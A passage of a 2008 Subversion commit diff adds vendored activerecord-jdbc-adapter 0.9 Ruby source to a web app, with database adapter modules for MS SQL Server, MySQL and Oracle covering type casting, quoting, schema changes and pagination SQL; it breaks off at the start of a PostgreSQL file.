+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_mssql.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,315 @@
+require 'jdbc_adapter/tsql_helper'
+
+module ::ActiveRecord
+  class Base
+    # After setting large objects to empty, write data back with a helper method
+    after_save :write_lobs
+    def write_lobs() #:nodoc:
+      if connection.is_a?(JdbcSpec::MsSQL)
+        self.class.columns.select { |c| c.sql_type =~ /image/i }.each { |c|
+          value = self[c.name]
+          value = value.to_yaml if unserializable_attribute?(c.name, c)
+          next if value.nil?  || (value == '')
+
+          connection.write_large_object(c.type == :binary, c.name, self.class.table_name, self.class.primary_key, quote_value(id), value)
+        }
+      end
+    end
+    private :write_lobs
+  end
+end
+
+module JdbcSpec
+  module MsSQL
+    include TSqlMethods
+
+    def self.column_selector
+      [/sqlserver|tds/i, lambda {|cfg,col| col.extend(::JdbcSpec::MsSQL::Column)}]
+    end
+
+    def self.adapter_selector
+      [/sqlserver|tds/i, lambda {|cfg,adapt| adapt.extend(::JdbcSpec::MsSQL)}]
+    end
+
+    module Column
+      attr_accessor :identity, :is_special
+
+      def simplified_type(field_type)
+        case field_type
+          when /int|bigint|smallint|tinyint/i                        then :integer
+          when /numeric/i                                            then (@scale.nil? || @scale == 0) ? :integer : :decimal
+          when /float|double|decimal|money|real|smallmoney/i         then :decimal
+          when /datetime|smalldatetime/i                             then :datetime
+          when /timestamp/i                                          then :timestamp
+          when /time/i                                               then :time
+          when /text|ntext/i                                         then :text
+          when /binary|image|varbinary/i                             then :binary
+          when /char|nchar|nvarchar|string|varchar/i                 then :string
+          when /bit/i                                                then :boolean
+          when /uniqueidentifier/i                                   then :string
+        end
+      end
+
+      def type_cast(value)
+        return nil if value.nil? || value == "(null)" || value == "(NULL)"
+        case type
+        when :string then unquote_string value
+        when :integer then unquote(value).to_i rescue value ? 1 : 0
+        when :primary_key then value == true || value == false ? value == true ? 1 : 0 : value.to_i
+        when :decimal   then self.class.value_to_decimal(unquote(value))
+        when :datetime  then cast_to_datetime(value)
+        when :timestamp then cast_to_time(value)
+        when :time      then cast_to_time(value)
+        when :date      then cast_to_datetime(value)
+        when :boolean   then value == true or (value =~ /^t(rue)?$/i) == 0 or unquote(value)=="1"
+        when :binary    then unquote value
+        else value
+        end
+      end
+
+      # JRUBY-2011: Match balanced quotes and parenthesis - 'text',('text') or (text)
+      def unquote_string(value)
+        value.sub(/^\((.*)\)$/,'\1').sub(/^'(.*)'$/,'\1')
+      end
+
+      def unquote(value)
+        value.to_s.sub(/\A\([\(\']?/, "").sub(/[\'\)]?\)\Z/, "")
+      end
+
+      def cast_to_time(value)
+        return value if value.is_a?(Time)
+        time_array = ParseDate.parsedate(value)
+        time_array[0] ||= 2000
+        time_array[1] ||= 1
+        time_array[2] ||= 1
+        Time.send(ActiveRecord::Base.default_timezone, *time_array) rescue nil
+      end
+
+      def cast_to_datetime(value)
+        if value.is_a?(Time)
+          if value.year != 0 and value.month != 0 and value.day != 0
+            return value
+          else
+            return Time.mktime(2000, 1, 1, value.hour, value.min, value.sec) rescue nil
+          end
+        end
+        return cast_to_time(value) if value.is_a?(Date) or value.is_a?(String) rescue nil
+        value
+      end
+
+      # These methods will only allow the adapter to insert binary data with a length of 7K or less
+      # because of a SQL Server statement length policy.
+      def self.string_to_binary(value)
+        ''
+      end
+    end
+
+    def quote(value, column = nil)
+      return value.quoted_id if value.respond_to?(:quoted_id)
+
+      case value
+      when String, ActiveSupport::Multibyte::Chars
+        value = value.to_s
+        if column && column.type == :binary
+          "'#{quote_string(JdbcSpec::MsSQL::Column.string_to_binary(value))}'" # ' (for ruby-mode)
+        elsif column && [:integer, :float].include?(column.type)
+          value = column.type == :integer ? value.to_i : value.to_f
+          value.to_s
+        else
+          "'#{quote_string(value)}'" # ' (for ruby-mode)
+        end
+      when TrueClass             then '1'
+      when FalseClass            then '0'
+      when Time, DateTime        then "'#{value.strftime("%Y%m%d %H:%M:%S")}'"
+      when Date                  then "'#{value.strftime("%Y%m%d")}'"
+      else                       super
+      end
+    end
+
+    def quote_string(string)
+      string.gsub(/\'/, "''")
+    end
+
+    def quote_table_name(name)
+      name
+    end
+
+    def quote_column_name(name)
+      "[#{name}]"
+    end
+
+    def change_order_direction(order)
+      order.split(",").collect {|fragment|
+        case fragment
+        when  /\bDESC\b/i     then fragment.gsub(/\bDESC\b/i, "ASC")
+        when  /\bASC\b/i      then fragment.gsub(/\bASC\b/i, "DESC")
+        else                  String.new(fragment).split(',').join(' DESC,') + ' DESC'
+        end
+      }.join(",")
+    end
+
+    def recreate_database(name)
+      drop_database(name)
+      create_database(name)
+    end
+
+    def drop_database(name)
+      execute "DROP DATABASE #{name}"
+    end
+
+    def create_database(name)
+      execute "CREATE DATABASE #{name}"
+    end
+
+      def rename_table(name, new_name)
+        execute "EXEC sp_rename '#{name}', '#{new_name}'"
+      end
+
+      # Adds a new column to the named table.
+      # See TableDefinition#column for details of the options you can use.
+      def add_column(table_name, column_name, type, options = {})
+        add_column_sql = "ALTER TABLE #{table_name} ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
+        add_column_options!(add_column_sql, options)
+        # TODO: Add support to mimic date columns, using constraints to mark them as such in the database
+        # add_column_sql << " CONSTRAINT ck__#{table_name}__#{column_name}__date_only CHECK ( CONVERT(CHAR(12), #{quote_column_name(column_name)}, 14)='00:00:00:000' )" if type == :date
+        execute(add_column_sql)
+      end
+
+      def rename_column(table, column, new_column_name)
+        execute "EXEC sp_rename '#{table}.#{column}', '#{new_column_name}'"
+      end
+
+      def change_column(table_name, column_name, type, options = {}) #:nodoc:
+        sql_commands = ["ALTER TABLE #{table_name} ALTER COLUMN #{column_name} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"]
+        if options_include_default?(options)
+          remove_default_constraint(table_name, column_name)
+          sql_commands << "ALTER TABLE #{table_name} ADD CONSTRAINT DF_#{table_name}_#{column_name} DEFAULT #{quote(options[:default], options[:column])} FOR #{column_name}"
+        end
+        sql_commands.each {|c|
+          execute(c)
+        }
+      end
+      def change_column_default(table_name, column_name, default) #:nodoc:
+        remove_default_constraint(table_name, column_name)
+        execute "ALTER TABLE #{table_name} ADD CONSTRAINT DF_#{table_name}_#{column_name} DEFAULT #{quote(default, column_name)} FOR #{column_name}"
+      end
+      def remove_column(table_name, column_name)
+        remove_check_constraints(table_name, column_name)
+        remove_default_constraint(table_name, column_name)
+        execute "ALTER TABLE #{table_name} DROP COLUMN [#{column_name}]"
+      end
+
+      def remove_default_constraint(table_name, column_name)
+        defaults = select "select def.name from sysobjects def, syscolumns col, sysobjects tab where col.cdefault = def.id and col.name = '#{column_name}' and tab.name = '#{table_name}' and col.id = tab.id"
+        defaults.each {|constraint|
+          execute "ALTER TABLE #{table_name} DROP CONSTRAINT #{constraint["name"]}"
+        }
+      end
+
+      def remove_check_constraints(table_name, column_name)
+        # TODO remove all constraints in single method
+        constraints = select "SELECT CONSTRAINT_NAME FROM INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE where TABLE_NAME = '#{table_name}' and COLUMN_NAME = '#{column_name}'"
+        constraints.each do |constraint|
+          execute "ALTER TABLE #{table_name} DROP CONSTRAINT #{constraint["CONSTRAINT_NAME"]}"
+        end
+      end
+
+      def remove_index(table_name, options = {})
+        execute "DROP INDEX #{table_name}.#{index_name(table_name, options)}"
+      end
+
+
+      def columns(table_name, name = nil)
+        return [] if table_name =~ /^information_schema\./i
+        cc = super
+        cc.each do |col|
+          col.identity = true if col.sql_type =~ /identity/i
+          col.is_special = true if col.sql_type =~ /text|ntext|image/i
+        end
+        cc
+      end
+
+      def _execute(sql, name = nil)
+        if sql.lstrip =~ /^insert/i
+          if query_requires_identity_insert?(sql)
+            table_name = get_table_name(sql)
+            with_identity_insert_enabled(table_name) do
+              id = @connection.execute_insert(sql)
+            end
+          else
+            @connection.execute_insert(sql)
+          end
+        elsif sql.lstrip =~ /^\(?\s*(select|show)/i
+          repair_special_columns(sql)
+          @connection.execute_query(sql)
+        else
+          @connection.execute_update(sql)
+        end
+      end
+
+
+      private
+      # Turns IDENTITY_INSERT ON for table during execution of the block
+      # N.B. This sets the state of IDENTITY_INSERT to OFF after the
+      # block has been executed without regard to its previous state
+
+      def with_identity_insert_enabled(table_name, &block)
+        set_identity_insert(table_name, true)
+        yield
+      ensure
+        set_identity_insert(table_name, false)
+      end
+
+      def set_identity_insert(table_name, enable = true)
+        execute "SET IDENTITY_INSERT #{table_name} #{enable ? 'ON' : 'OFF'}"
+      rescue Exception => e
+        raise ActiveRecord::ActiveRecordError, "IDENTITY_INSERT could not be turned #{enable ? 'ON' : 'OFF'} for table #{table_name}"
+      end
+
+      def get_table_name(sql)
+        if sql =~ /^\s*insert\s+into\s+([^\(\s,]+)\s*|^\s*update\s+([^\(\s,]+)\s*/i
+          $1
+        elsif sql =~ /from\s+([^\(\s,]+)\s*/i
+          $1
+        else
+          nil
+        end
+      end
+
+      def identity_column(table_name)
+        @table_columns = {} unless @table_columns
+        @table_columns[table_name] = columns(table_name) if @table_columns[table_name] == nil
+        @table_columns[table_name].each do |col|
+          return col.name if col.identity
+        end
+
+        return nil
+      end
+
+      def query_requires_identity_insert?(sql)
+        table_name = get_table_name(sql)
+        id_column = identity_column(table_name)
+        sql =~ /\[#{id_column}\]/ ? table_name : nil
+      end
+
+      def get_special_columns(table_name)
+        special = []
+        @table_columns ||= {}
+        @table_columns[table_name] ||= columns(table_name)
+        @table_columns[table_name].each do |col|
+          special << col.name if col.is_special
+        end
+        special
+      end
+
+      def repair_special_columns(sql)
+        special_cols = get_special_columns(get_table_name(sql))
+        for col in special_cols.to_a
+          sql.gsub!(Regexp.new(" #{col.to_s} = "), " #{col.to_s} LIKE ")
+          sql.gsub!(/ORDER BY #{col.to_s}/i, '')
+        end
+        sql
+      end
+    end
+  end
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_mysql.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_mysql.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_mysql.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,235 @@
+require 'active_record/connection_adapters/abstract/schema_definitions'
+
+module ::JdbcSpec
+  # Don't need to load native mysql adapter
+  $LOADED_FEATURES << "active_record/connection_adapters/mysql_adapter.rb"
+
+  module ActiveRecordExtensions
+    def mysql_connection(config)
+      config[:port] ||= 3306
+      if config[:url]
+        config[:url] = config[:url]['?'] ? "#{config[:url]}&#{MySQL::URL_OPTIONS}" : "#{config[:url]}?#{MySQL::URL_OPTIONS}"
+      else
+        config[:url] = "jdbc:mysql://#{config[:host]}:#{config[:port]}/#{config[:database]}?#{MySQL::URL_OPTIONS}"
+      end
+      config[:driver] = "com.mysql.jdbc.Driver"
+      jdbc_connection(config)
+    end
+  end
+
+  module MySQL
+    URL_OPTIONS = "zeroDateTimeBehavior=convertToNull&jdbcCompliantTruncation=false&useUnicode=true&characterEncoding=utf8"
+    def self.column_selector
+      [/mysql/i, lambda {|cfg,col| col.extend(::JdbcSpec::MySQL::Column)}]
+    end
+
+    def self.adapter_selector
+      [/mysql/i, lambda {|cfg,adapt| adapt.extend(::JdbcSpec::MySQL)}]
+    end
+
+    def self.extended(adapter)
+      adapter.execute("SET SQL_AUTO_IS_NULL=0")
+    end
+
+    module Column
+      TYPES_ALLOWING_EMPTY_STRING_DEFAULT = Set.new([:binary, :string, :text])
+
+      def simplified_type(field_type)
+        return :boolean if field_type =~ /tinyint\(1\)|bit/i
+        return :string  if field_type =~ /enum/i
+        super
+      end
+
+      def init_column(name, default, *args)
+        @original_default = default
+        @default = nil if missing_default_forged_as_empty_string?
+      end
+
+      # MySQL misreports NOT NULL column default when none is given.
+      # We can't detect this for columns which may have a legitimate ''
+      # default (string, text, binary) but we can for others (integer,
+      # datetime, boolean, and the rest).
+      #
+      # Test whether the column has default '', is not null, and is not
+      # a type allowing default ''.
+      def missing_default_forged_as_empty_string?
+        !null && @original_default == '' && !TYPES_ALLOWING_EMPTY_STRING_DEFAULT.include?(type)
+      end
+    end
+
+    def modify_types(tp)
+      tp[:primary_key] = "int(11) DEFAULT NULL auto_increment PRIMARY KEY"
+      tp[:decimal] = { :name => "decimal" }
+      tp[:timestamp] = { :name => "datetime" }
+      tp[:datetime][:limit] = nil
+      tp
+    end
+
+    # QUOTING ==================================================
+
+    def quote(value, column = nil)
+      return value.quoted_id if value.respond_to?(:quoted_id)
+
+      if column && column.type == :primary_key
+        value.to_s
+      elsif column && String === value && column.type == :binary && column.class.respond_to?(:string_to_binary)
+        s = column.class.string_to_binary(value).unpack("H*")[0]
+        "x'#{s}'"
+      elsif BigDecimal === value
+        "'#{value.to_s("F")}'"
+      else
+        super
+      end
+    end
+
+    def quote_column_name(name) #:nodoc:
+        "`#{name}`"
+    end
+
+    def quote_table_name(name) #:nodoc:
+      quote_column_name(name).gsub('.', '`.`')
+    end
+
+    def quoted_true
+        "1"
+    end
+
+    def quoted_false
+        "0"
+    end
+
+    def begin_db_transaction #:nodoc:
+      @connection.begin
+    rescue Exception
+      # Transactions aren't supported
+    end
+
+    def commit_db_transaction #:nodoc:
+      @connection.commit
+    rescue Exception
+      # Transactions aren't supported
+    end
+
+    def rollback_db_transaction #:nodoc:
+      @connection.rollback
+    rescue Exception
+      # Transactions aren't supported
+    end
+
+    def disable_referential_integrity(&block) #:nodoc:
+      old = select_value("SELECT @@FOREIGN_KEY_CHECKS")
+      begin
+        update("SET FOREIGN_KEY_CHECKS = 0")
+        yield
+      ensure
+        update("SET FOREIGN_KEY_CHECKS = #{old}")
+      end
+    end
+
+    # SCHEMA STATEMENTS ========================================
+
+    def structure_dump #:nodoc:
+      if supports_views?
+        sql = "SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'"
+      else
+        sql = "SHOW TABLES"
+      end
+
+      select_all(sql).inject("") do |structure, table|
+        table.delete('Table_type')
+
+        hash = select_one("SHOW CREATE TABLE #{quote_table_name(table.to_a.first.last)}")
+
+        if(table = hash["Create Table"])
+          structure += table + ";\n\n"
+        elsif(view = hash["Create View"])
+          structure += view + ";\n\n"
+        end
+      end
+    end
+
+    def recreate_database(name) #:nodoc:
+      drop_database(name)
+      create_database(name)
+    end
+
+    def create_database(name, options = {}) #:nodoc:
+      if options[:collation]
+        execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}` COLLATE `#{options[:collation]}`"
+      else
+        execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}`"
+      end
+    end
+
+    def drop_database(name) #:nodoc:
+      execute "DROP DATABASE IF EXISTS `#{name}`"
+    end
+
+    def current_database
+      select_one("SELECT DATABASE() as db")["db"]
+    end
+
+    def create_table(name, options = {}) #:nodoc:
+      super(name, {:options => "ENGINE=InnoDB CHARACTER SET utf8 COLLATE utf8_bin"}.merge(options))
+    end
+
+    def rename_table(name, new_name)
+      execute "RENAME TABLE #{quote_table_name(name)} TO #{quote_table_name(new_name)}"
+    end
+
+    def change_column_default(table_name, column_name, default) #:nodoc:
+      current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'")["Type"]
+
+      execute("ALTER TABLE #{quote_table_name(table_name)} CHANGE #{quote_column_name(column_name)} #{quote_column_name(column_name)} #{current_type} DEFAULT #{quote(default)}")
+    end
+
+    def change_column(table_name, column_name, type, options = {}) #:nodoc:
+      unless options_include_default?(options)
+        if column = columns(table_name).find { |c| c.name == column_name.to_s }
+          options[:default] = column.default
+        else
+          raise "No such column: #{table_name}.#{column_name}"
+        end
+      end
+
+      change_column_sql = "ALTER TABLE #{quote_table_name(table_name)} CHANGE #{quote_column_name(column_name)} #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
+      add_column_options!(change_column_sql, options)
+      execute(change_column_sql)
+    end
+
+    def rename_column(table_name, column_name, new_column_name) #:nodoc:
+      cols = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'")
+      current_type = cols["Type"] || cols["COLUMN_TYPE"]
+      execute "ALTER TABLE #{quote_table_name(table_name)} CHANGE #{quote_table_name(column_name)} #{quote_column_name(new_column_name)} #{current_type}"
+    end
+
+    def add_limit_offset!(sql, options) #:nodoc:
+      if limit = options[:limit]
+        unless offset = options[:offset]
+          sql << " LIMIT #{limit}"
+        else
+          sql << " LIMIT #{offset}, #{limit}"
+        end
+      end
+    end
+
+    def show_variable(var)
+      res = execute("show variables like '#{var}'")
+      row = res.detect {|row| row["Variable_name"] == var }
+      row && row["Value"]
+    end
+
+    def charset
+      show_variable("character_set_database")
+    end
+
+    def collation
+      show_variable("collation_database")
+    end
+
+    private
+    def supports_views?
+      false
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_oracle.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_oracle.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_oracle.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,369 @@
+module ::ActiveRecord
+  class Base
+    def after_save_with_oracle_lob() #:nodoc:
+      if connection.is_a?(JdbcSpec::Oracle)
+        self.class.columns.select { |c| c.sql_type =~ /LOB\(|LOB$/i }.each { |c|
+          value = self[c.name]
+          value = value.to_yaml if unserializable_attribute?(c.name, c)
+          next if value.nil?  || (value == '')
+
+          connection.write_large_object(c.type == :binary, c.name, self.class.table_name, self.class.primary_key, quote_value(id), value)
+        }
+      end
+    end
+  end
+end
+
+module ::JdbcSpec
+  module ActiveRecordExtensions
+    def oracle_connection(config)
+      config[:port] ||= 1521
+      config[:url] ||= "jdbc:oracle:thin:@#{config[:host]}:#{config[:port]}:#{config[:database]}"
+      config[:driver] ||= "oracle.jdbc.driver.OracleDriver"
+      jdbc_connection(config)
+    end
+  end
+
+  module Oracle
+    def self.extended(mod)
+      ActiveRecord::Base.after_save :after_save_with_oracle_lob unless @lob_callback_added
+      @lob_callback_added = true
+    end
+
+    def self.column_selector
+      [/oracle/i, lambda {|cfg,col| col.extend(::JdbcSpec::Oracle::Column)}]
+    end
+
+    def self.adapter_selector
+      [/oracle/i, lambda {|cfg,adapt| adapt.extend(::JdbcSpec::Oracle)
+=begin
+         (adapt.methods - %w(send __send__ id class methods is_a? kind_of? verify! active?)).each do |name|
+           new_name = "__#{name}"
+           (class << adapt; self; end).send :alias_method, new_name, name
+           (class << adapt; self; end).send :define_method, name do |*args|
+             puts "#{name}(#{args.inspect})"
+             adapt.send new_name, *args
+           end
+         end
+=end
+       }]
+    end
+    
+    module Column
+      def type_cast(value)
+        return nil if value.nil?
+        case type
+        when :string      then value
+        when :integer     then defined?(value.to_i) ? value.to_i : (value ? 1 : 0)
+        when :primary_key then defined?(value.to_i) ? value.to_i : (value ? 1 : 0) 
+        when :float       then value.to_f
+        when :datetime    then JdbcSpec::Oracle::Column.cast_to_date_or_time(value)
+        when :time        then JdbcSpec::Oracle::Column.cast_to_time(value)
+        when :decimal     then self.class.value_to_decimal(value)
+        when :boolean     then self.class.value_to_boolean(value)
+        else value
+        end
+      end
+      
+      def type_cast_code(var_name)
+        case type
+        when :string      then nil
+        when :integer     then "(#{var_name}.to_i rescue #{var_name} ? 1 : 0)"
+        when :primary_key then "(#{var_name}.to_i rescue #{var_name} ? 1 : 0)"
+        when :float       then "#{var_name}.to_f"
+        when :datetime    then "JdbcSpec::Oracle::Column.cast_to_date_or_time(#{var_name})"
+        when :time        then "JdbcSpec::Oracle::Column.cast_to_time(#{var_name})"
+        when :decimal     then "#{self.class.name}.value_to_decimal(#{var_name})"
+        when :boolean     then "#{self.class.name}.value_to_boolean(#{var_name})"
+        else nil
+        end
+      end      
+
+      private
+      def simplified_type(field_type)
+        case field_type
+        when /^number\(1\)$/i                  : :boolean
+        when /char/i                           : :string
+        when /float|double/i                   : :float
+        when /int/i                            : :integer
+        when /num|dec|real/i                   : @scale == 0 ? :integer : :decimal
+        when /date|time/i                      : :datetime
+        when /clob/i                           : :text
+        when /blob/i                           : :binary
+        end
+      end
+
+      def self.cast_to_date_or_time(value)
+        return value if value.is_a? Date
+        return nil if value.blank?
+        guess_date_or_time((value.is_a? Time) ? value : cast_to_time(value))
+      end
+
+      def self.cast_to_time(value)
+        return value if value.is_a? Time
+        time_array = ParseDate.parsedate value
+        time_array[0] ||= 2000; time_array[1] ||= 1; time_array[2] ||= 1;
+        Time.send(ActiveRecord::Base.default_timezone, *time_array) rescue nil
+      end
+
+      def self.guess_date_or_time(value)
+        (value.hour == 0 and value.min == 0 and value.sec == 0) ?
+        Date.new(value.year, value.month, value.day) : value
+      end
+    end
+
+    def table_alias_length
+      30
+    end
+
+    def default_sequence_name(table, column) #:nodoc:
+      "#{table}_seq"
+    end
+    
+    def create_table(name, options = {}) #:nodoc:
+      super(name, options)
+      seq_name = options[:sequence_name] || "#{name}_seq"
+      raise ActiveRecord::StatementInvalid.new("name #{seq_name} too long") if seq_name.length > table_alias_length
+      execute "CREATE SEQUENCE #{seq_name} START WITH 10000" unless options[:id] == false
+    end
+
+    def rename_table(name, new_name) #:nodoc:
+      execute "RENAME #{name} TO #{new_name}"
+      execute "RENAME #{name}_seq TO #{new_name}_seq" rescue nil
+    end  
+
+    def drop_table(name, options = {}) #:nodoc:
+      super(name)
+      seq_name = options[:sequence_name] || "#{name}_seq"
+      execute "DROP SEQUENCE #{seq_name}" rescue nil
+    end
+
+    def recreate_database(name)
+      tables.each{ |table| drop_table(table) }
+    end
+    
+    def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) #:nodoc:
+      if pk.nil? # Who called us? What does the sql look like? No idea!
+        execute sql, name
+      elsif id_value # Pre-assigned id
+        execute sql, name
+      else # Assume the sql contains a bind-variable for the id
+        id_value = select_one("select #{sequence_name}.nextval id from dual")['id'].to_i
+        log(sql, name) { 
+          @connection.execute_id_insert(sql,id_value)
+        }
+      end
+      id_value
+    end
+
+    def indexes(table, name = nil)
+      @connection.indexes(table, name, @connection.connection.meta_data.user_name)
+    end
+    
+    def _execute(sql, name = nil)
+      case sql.strip
+        when /\A\(?\s*(select|show)/i:
+          @connection.execute_query(sql)
+        else
+          @connection.execute_update(sql)
+        end
+    end
+    
+    def modify_types(tp)
+      tp[:primary_key] = "NUMBER(38) NOT NULL PRIMARY KEY"
+      tp[:integer] = { :name => "NUMBER", :limit => 38 }
+      tp[:datetime] = { :name => "DATE" }
+      tp[:timestamp] = { :name => "DATE" }
+      tp[:time] = { :name => "DATE" }
+      tp[:date] = { :name => "DATE" }
+      tp
+    end
+
+    def add_limit_offset!(sql, options) #:nodoc:
+      offset = options[:offset] || 0
+      
+      if limit = options[:limit]
+        sql.replace "select * from (select raw_sql_.*, rownum raw_rnum_ from (#{sql}) raw_sql_ where rownum <= #{offset+limit}) where raw_rnum_ > #{offset}"
+      elsif offset > 0
+        sql.replace "select * from (select raw_sql_.*, rownum raw_rnum_ from (#{sql}) raw_sql_) where raw_rnum_ > #{offset}"
+      end
+    end
+
+    def current_database #:nodoc:
+      select_one("select sys_context('userenv','db_name') db from dual")["db"]
+    end
+
+    def remove_index(table_name, options = {}) #:nodoc:
+      execute "DROP INDEX #{index_name(table_name, options)}"
+    end
+
+    def change_column_default(table_name, column_name, default) #:nodoc:
+      execute "ALTER TABLE #{table_name} MODIFY #{column_name} DEFAULT #{quote(default)}"
+    end
+
+    def add_column_options!(sql, options) #:nodoc:
+      # handle case  of defaults for CLOB columns, which would otherwise get "quoted" incorrectly
+      if options_include_default?(options) && (column = options[:column]) && column.type == :text
+        sql << " DEFAULT #{quote(options.delete(:default))}" 
+      end
+      super
+    end
+
+    def change_column(table_name, column_name, type, options = {}) #:nodoc:
+      change_column_sql = "ALTER TABLE #{table_name} MODIFY #{column_name} #{type_to_sql(type, options[:limit])}"
+      add_column_options!(change_column_sql, options)
+      execute(change_column_sql)
+    end
+    
+    def rename_column(table_name, column_name, new_column_name) #:nodoc:
+      execute "ALTER TABLE #{table_name} RENAME COLUMN #{column_name} to #{new_column_name}"
+    end
+
+    def remove_column(table_name, column_name) #:nodoc:
+      execute "ALTER TABLE #{table_name} DROP COLUMN #{column_name}"
+    end
+
+    def structure_dump #:nodoc:
+      s = select_all("select sequence_name from user_sequences").inject("") do |structure, seq|
+        structure << "create sequence #{seq.to_a.first.last};\n\n"
+      end
+
+      select_all("select table_name from user_tables").inject(s) do |structure, table|
+        ddl = "create table #{table.to_a.first.last} (\n "  
+        cols = select_all(%Q{
+              select column_name, data_type, data_length, data_precision, data_scale, data_default, nullable
+              from user_tab_columns
+              where table_name = '#{table.to_a.first.last}'
+              order by column_id
+            }).map do |row|
+          row = row.inject({}) do |h,args| 
+            h[args[0].downcase] = args[1]
+            h 
+          end
+          col = "#{row['column_name'].downcase} #{row['data_type'].downcase}"      
+          if row['data_type'] =='NUMBER' and !row['data_precision'].nil?
+            col << "(#{row['data_precision'].to_i}"
+            col << ",#{row['data_scale'].to_i}" if !row['data_scale'].nil?
+            col << ')'
+          elsif row['data_type'].include?('CHAR')
+            col << "(#{row['data_length'].to_i})"  
+          end
+          col << " default #{row['data_default']}" if !row['data_default'].nil?
+          col << ' not null' if row['nullable'] == 'N'
+          col
+        end
+        ddl << cols.join(",\n ")
+        ddl << ");\n\n"
+        structure << ddl
+      end
+    end
+
+    def structure_drop #:nodoc:
+      s = select_all("select sequence_name from user_sequences").inject("") do |drop, seq|
+        drop << "drop sequence #{seq.to_a.first.last};\n\n"
+      end
+
+      select_all("select table_name from user_tables").inject(s) do |drop, table|
+        drop << "drop table #{table.to_a.first.last} cascade constraints;\n\n"
+      end
+    end
+    
+    # SELECT DISTINCT clause for a given set of columns and a given ORDER BY clause.
+    #
+    # Oracle requires the ORDER BY columns to be in the SELECT list for DISTINCT
+    # queries. However, with those columns included in the SELECT DISTINCT list, you
+    # won't actually get a distinct list of the column you want (presuming the column
+    # has duplicates with multiple values for the ordered-by columns. So we use the 
+    # FIRST_VALUE function to get a single (first) value for each column, effectively
+    # making every row the same.
+    #
+    #   distinct("posts.id", "posts.created_at desc")
+    def distinct(columns, order_by)
+      return "DISTINCT #{columns}" if order_by.blank?
+
+      # construct a valid DISTINCT clause, ie. one that includes the ORDER BY columns, using
+      # FIRST_VALUE such that the inclusion of these columns doesn't invalidate the DISTINCT
+      order_columns = order_by.split(',').map { |s| s.strip }.reject(&:blank?)
+      order_columns = order_columns.zip((0...order_columns.size).to_a).map do |c, i|
+        "FIRST_VALUE(#{c.split.first}) OVER (PARTITION BY #{columns} ORDER BY #{c}) AS alias_#{i}__"
+      end
+      sql = "DISTINCT #{columns}, "
+      sql << order_columns * ", "
+    end
+
+    # ORDER BY clause for the passed order option.
+    # 
+    # Uses column aliases as defined by #distinct.
+    def add_order_by_for_association_limiting!(sql, options)
+      return sql if options[:order].blank?
+
+      order = options[:order].split(',').collect { |s| s.strip }.reject(&:blank?)
+      order.map! {|s| $1 if s =~ / (.*)/}
+      order = order.zip((0...order.size).to_a).map { |s,i| "alias_#{i}__ #{s}" }.join(', ')
+
+      sql << "ORDER BY #{order}"
+    end
+    
+    
+    # QUOTING ==================================================
+    #
+    # see: abstract/quoting.rb
+    
+    # camelCase column names need to be quoted; not that anyone using Oracle
+    # would really do this, but handling this case means we pass the test...
+    def quote_column_name(name) #:nodoc:
+      name.to_s =~ /[A-Z]/ ? "\"#{name}\"" : name.to_s
+    end
+
+    def quote_string(string) #:nodoc:
+      string.gsub(/'/, "''")
+    end
+    
+    def quote(value, column = nil) #:nodoc:
+      return value.quoted_id if value.respond_to?(:quoted_id)
+      
+      if column && [:text, :binary].include?(column.type)
+        if /(.*?)\([0-9]+\)/ =~ column.sql_type
+          %Q{empty_#{ $1.downcase }()}
+        else
+          %Q{empty_#{ column.sql_type.downcase rescue 'blob' }()}
+        end
+      else
+        if column && column.type == :primary_key
+          return value.to_s
+        end
+        case value
+        when String, ActiveSupport::Multibyte::Chars
+          if column.type == :datetime
+            %Q{TIMESTAMP'#{value}'}
+          else
+            %Q{'#{quote_string(value)}'}
+          end
+        when NilClass   : 'null'
+        when TrueClass  : '1'
+        when FalseClass : '0'
+        when Numeric    : value.to_s
+        when Date, Time : %Q{TIMESTAMP'#{value.strftime("%Y-%m-%d %H:%M:%S")}'}
+        else              %Q{'#{quote_string(value.to_yaml)}'}
+        end
+      end
+    end
+    
+    def quoted_true #:nodoc:
+      '1'
+    end
+    
+    def quoted_false #:nodoc:
+      '0'
+    end
+    
+    private
+    def select(sql, name=nil)
+      records = execute(sql,name)
+      records.each do |col|
+          col.delete('raw_rnum_')
+      end
+      records
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_postgre.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_postgre.rb	2008-12-20 20:26:23 UTC (rev 1003)
